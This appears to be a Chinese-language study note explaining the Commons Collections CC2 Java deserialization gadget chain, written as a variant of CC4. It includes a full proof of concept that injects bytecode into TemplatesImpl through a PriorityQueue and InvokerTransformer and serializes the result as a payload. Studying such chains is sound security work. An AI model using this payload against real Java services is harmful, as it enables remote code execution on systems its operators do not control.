详细请看CC4链。CC2链跟CC4链几乎一样,就是在CC4利用InstantiateTransformer类的基础上改成了直接使用InvokerTransformer,其他没变。
| 12
 3
 4
 5
 6
 
 | CC4:Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(TrAXFilter.class),
 new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
 };
 ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);
 
 | 
| 12
 
 | CC2:InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
 
 | 
然后把TemplatesImpl类的对象从传入InstantiateTransformer改成直接add进priorityQueue里。
| 12
 3
 4
 
 | CC4:priorityQueue.add(1);
 CC2:
 priorityQueue.add(templates);
 
 | 
其他没变。
CC2链完整poc:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 
 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
 import org.apache.commons.collections4.Transformer;
 import org.apache.commons.collections4.comparators.TransformingComparator;
 import org.apache.commons.collections4.functors.ChainedTransformer;
 import org.apache.commons.collections4.functors.ConstantTransformer;
 import org.apache.commons.collections4.functors.InstantiateTransformer;
 import org.apache.commons.collections4.functors.InvokerTransformer;
 
 import javax.xml.transform.Templates;
 import java.io.FileOutputStream;
 import java.io.ObjectOutputStream;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.PriorityQueue;
 
 public class CC2 {
 public static void main(String[] args) throws Exception {
 TemplatesImpl templates = new TemplatesImpl();
 
 Class c = templates.getClass();
 Field nameField = c.getDeclaredField("_name");
 nameField.setAccessible(true);
 nameField.set(templates,"aaa");
 
 
 byte[] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class"));
 byte[][] codes = {code};
 Field bytecodesField = c.getDeclaredField("_bytecodes");
 bytecodesField.setAccessible(true);
 bytecodesField.set(templates,codes);
 
 InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
 
 TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
 PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
 
 priorityQueue.add(templates);
 priorityQueue.add(2);
 
 Class t = transformingComparator.getClass();
 Field transformerField = t.getDeclaredField("transformer");
 transformerField.setAccessible(true);
 transformerField.set(transformingComparator,invokerTransformer);
 
 serialize(priorityQueue);
 }
 public static void serialize(Object obj) throws Exception {
 ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serialize"));
 oos.writeObject(obj);
 }
 }
 
 |